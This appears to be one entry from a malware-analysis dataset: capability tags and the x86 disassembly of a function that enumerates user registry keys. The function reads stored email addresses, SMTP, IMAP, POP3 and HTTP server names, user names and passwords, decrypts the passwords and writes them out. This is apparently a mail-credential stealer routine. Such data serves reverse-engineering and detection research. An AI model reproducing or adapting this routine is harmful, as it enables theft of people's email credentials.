Function at 0x451660
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8fc
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x897]
mov byte [ebp - 0x898], 0
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0x8d8], ebx
call fcn.004644a0
lea ecx, [ebp - 0x898]
call fcn.00451dc0
mov eax, dword [0x49e874]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, edx
mov eax, dword [0x49e878]
mov dword [ebp - 8], eax
call fcn.00447390
lea eax, [ebp - 0xc]
push eax
push str._r_n__s_
push ebx
call fcn.00447150
lea eax, [ebp - 0x898]
push eax
push str._s___r_n
push ebx
call fcn.00447150
movdqu xmm0, xmmword [0x49e880]
mov ax, word [0x49e8d0]
lea edx, [ebp - 0x98]
add esp, 0x24
mov word [ebp - 0x48], ax
movdqu xmmword [ebp - 0x98], xmm0
mov ecx, edx
movdqu xmm0, xmmword [0x49e890]
movdqu xmmword [ebp - 0x88], xmm0
movdqu xmm0, xmmword [0x49e8a0]
movdqu xmmword [ebp - 0x78], xmm0
movdqu xmm0, xmmword [0x49e8b0]
movdqu xmmword [ebp - 0x68], xmm0
movdqu xmm0, xmmword [0x49e8c0]
movdqu xmmword [ebp - 0x58], xmm0
call fcn.00447390
lea eax, [ebp - 0x8b4]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x98]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x451dac
push eax
push eax
mov dword [ebp - 0x8a8], eax
lea eax, [ebp - 0x8a8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x8b4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x451da4
mov eax, dword [ebp - 0x8a8]
inc eax
push eax
call fcn.0046243d
mov esi, eax
add esp, 4
mov dword [ebp - 0x8e0], esi
test esi, esi
je 0x451dac
mov ecx, dword [ebp - 0x8a8]
lea edx, [ebp - 0x1c]
mov ax, word [0x49e708]
movq xmm0, qword [0x49e6fc]
mov dword [ebp - 0x8a4], ecx
mov ecx, dword [0x49e704]
mov word [ebp - 0x10], ax
mov al, byte [0x49e70a]
mov dword [ebp - 0x14], ecx
mov ecx, edx
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0xe], al
call fcn.00447390
lea eax, [ebp - 0x8a4]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1c]
push 0
push 0
push eax
push dword [ebp - 0x8b4]
call esi
test eax, eax
jne 0x451d96
movdqu xmm0, xmmword [str.xCGY_D__vPE]
mov al, byte [0x49e738]
lea edx, [ebp - 0x40]
mov ecx, edx
mov byte [ebp - 0x20], al
movdqu xmmword [ebp - 0x40], xmm0
movdqu xmm0, xmmword [0x49e728]
movdqu xmmword [ebp - 0x30], xmm0
call fcn.00447390
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451856
mov eax, dword [ebp - 0x8a8]
sub ecx, edx
add eax, 2
add eax, ecx
push eax
call fcn.0046243d
add esp, 4
mov dword [ebp - 0x8d4], eax
test eax, eax
je 0x451dac
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451887
lea eax, [ebp - 0x40]
sub ecx, edx
push eax
push dword [ebp - 0x8e0]
mov eax, dword [ebp - 0x8a8]
add eax, 2
push 0x49d954
add eax, ecx
push eax
push dword [ebp - 0x8d4]
call fcn.0046158b
add esp, 0x14
lea eax, [ebp - 0x8b0]
push eax
push 0x20019
push 0
push dword [ebp - 0x8d4]
push dword [ebp - 0x8b4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x451d88
push eax
push eax
mov dword [ebp - 0x8b8], eax
lea eax, [ebp - 0x8a8]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x8b8]
push eax
lea eax, [ebp - 0x8a0]
push eax
push 0
push 0
push 0
push dword [ebp - 0x8b0]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x451d80
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8a0], eax
jbe 0x451d80
mov eax, dword [ebp - 0x8b8]
inc eax
push eax
call fcn.0046243d
mov edi, eax
add esp, 4
mov dword [ebp - 0x8e4], edi
test edi, edi
je 0x451dac
push dword [ebp - 0x8b8]
push edi
push dword [ebp - 0x8d0]
push dword [ebp - 0x8b0]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea eax, [ebp - 0x8ac]
push eax
push 0x20019
push 0
push edi
push dword [ebp - 0x8b0]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x451d58
push eax
push eax
lea eax, [ebp - 0x8a8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x451d4c
mov eax, dword [ebp - 0x8a8]
inc eax
push eax
call fcn.0046243d
mov edi, eax
add esp, 4
mov dword [ebp - 0x8e8], edi
test edi, edi
je 0x451dac
mov ecx, dword [ebp - 0x8a8]
lea eax, [ebp - 0x89c]
push eax
push edi
push 0
push 0
push str.Email
push dword [ebp - 0x8ac]
mov dword [ebp - 0x89c], ecx
call esi
test eax, eax
jne 0x451d3d
mov ecx, edi
lea edx, [ecx + 1]
jmp 0x451a10
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451a10
sub ecx, edx
je 0x451a2a
push edi
push str.___Email_:__ws_r_n
push ebx
call fcn.00447150
add esp, 0xc
push 0x3ff
lea eax, [ebp - 0x497]
mov dword [ebp - 0x8f8], str.SMTP
push 0
push eax
mov dword [ebp - 0x8f4], str.IMAP
mov dword [ebp - 0x8f0], str.POP3
mov dword [ebp - 0x8ec], str.HTTP
mov byte [ebp - 0x498], 0
call fcn.004644a0
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x8cc], eax
jmp 0x451a80
mov edi, dword [ebp + eax*4 - 0x8f8]
mov eax, str.HTTP
mov ecx, edi
mov edi, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x451ab0
test dl, dl
je 0x451aac
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x451ab0
add ecx, 2
add eax, 2
test dl, dl
jne 0x451a90
xor eax, eax
jmp 0x451ab5
sbb eax, eax
or eax, 1
test eax, eax
lea eax, [ebp - 0x498]
push edi
jne 0x451ac7
push str._s_Server_URL
jmp 0x451acc
push str._s_Server
push 0x400
push eax
call fcn.0046158b
mov eax, dword [ebp - 0x8a8]
add esp, 0x10
mov dword [ebp - 0x89c], eax
inc eax
push eax
call fcn.0046243d
mov esi, eax
add esp, 4
test esi, esi
je 0x451dac
lea eax, [ebp - 0x89c]
push eax
push esi
push 0
push 0
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x451b48
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451b22
sub ecx, edx
je 0x451b48
push edi
push str.____s
push ebx
call fcn.00447150
push esi
push str._Server_:__ws_r_n
push ebx
call fcn.00447150
add esp, 0x18
push esi
call fcn.004624b3
push edi
push str._s_User
lea eax, [ebp - 0x498]
push 0x400
push eax
call fcn.0046158b
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x89c], eax
inc eax
push eax
call fcn.0046243d
mov esi, eax
add esp, 0x18
test esi, esi
je 0x451dac
lea eax, [ebp - 0x89c]
push eax
push esi
push 0
push 0
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x451be8
mov ecx, esi
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x451bb0
sub ecx, edx
je 0x451be8
push edi
push str.____s
push ebx
call fcn.00447150
lea eax, [ebx + 0x404]
push eax
push str.__s_:
push ebx
call fcn.00447150
push esi
push str._ws_r_n
push ebx
call fcn.00447150
add esp, 0x24
push esi
call fcn.004624b3
add ebx, 0x40d
lea eax, [ebp - 0x498]
push ebx
push edi
push str._s__s
push 0x400
push eax
call fcn.0046158b
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x89c], eax
inc eax
push eax
call fcn.0046243d
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x451dac
lea eax, [ebp - 0x89c]
push eax
push esi
push 0
push 0
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x451d0c
mov ecx, dword [ebp - 0x89c]
test ecx, ecx
je 0x451d0c
lea eax, [esi + 1]
mov dword [ebp - 0x8c4], eax
lea eax, [ecx - 1]
mov dword [ebp - 0x8c8], eax
lea eax, [ebp - 0x8c0]
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x8c8]
push eax
mov eax, dword [ebp - 0x8d8]
mov eax, dword [eax + 0x41c]
call eax
test eax, eax
je 0x451d0c
mov edx, dword [ebp - 0x8bc]
mov ecx, edx
lea edi, [ecx + 2]
jmp 0x451cb0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x451cb0
sub ecx, edi
sar ecx, 1
je 0x451d05
mov eax, dword [ebp - 0x8cc]
mov edi, dword [ebp - 0x8d8]
push dword [ebp + eax*4 - 0x8f8]
push str.____s
push edi
call fcn.00447150
push ebx
push str.__s_:
push edi
call fcn.00447150
push dword [ebp - 0x8bc]
push str._ws_r_n_r_n
push edi
call fcn.00447150
mov edx, dword [ebp - 0x8bc]
add esp, 0x24
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call fcn.004624b3
mov eax, dword [ebp - 0x8cc]
add esp, 4
mov ebx, dword [ebp - 0x8d8]
inc eax
mov dword [ebp - 0x8cc], eax
cmp eax, 4
jl 0x451a80
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [ebp - 0x8e8]
push edi
call fcn.004624b3
mov edi, dword [ebp - 0x8e4]
add esp, 4
push dword [ebp - 0x8ac]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004624b3
mov eax, dword [ebp - 0x8d0]
add esp, 4
inc eax
mov dword [ebp - 0x8d0], eax
cmp eax, dword [ebp - 0x8a0]
jb 0x451930
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x8b0]
call edi
push dword [ebp - 0x8d4]
call fcn.004624b3
add esp, 4
push dword [ebp - 0x8e0]
call fcn.004624b3
add esp, 4
push dword [ebp - 0x8b4]
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret